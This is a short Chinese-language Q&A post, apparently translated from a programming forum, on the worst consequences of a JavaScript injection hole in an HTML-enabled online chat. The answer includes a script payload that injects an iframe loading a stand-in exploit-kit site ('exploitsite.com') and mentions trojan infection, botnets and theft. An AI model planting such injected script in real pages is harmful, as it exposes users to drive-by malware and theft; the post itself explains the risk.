在线聊天中Javascript漏洞的安全后果？

Question

对于允许基本HTML的在线聊天，如果它们为潜在的黑客对聊天中的每个人执行javascript留下了一个开放的途径，会发生什么？

他们能做的最糟糕的事是什么？

Answer 1

创建新的iframe和加载开发工具包内的iframe。

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";
   document.body.appendChild(ifrm);
</script>

用木马感染用户，把他们当作机器人，偷他们的钱等等。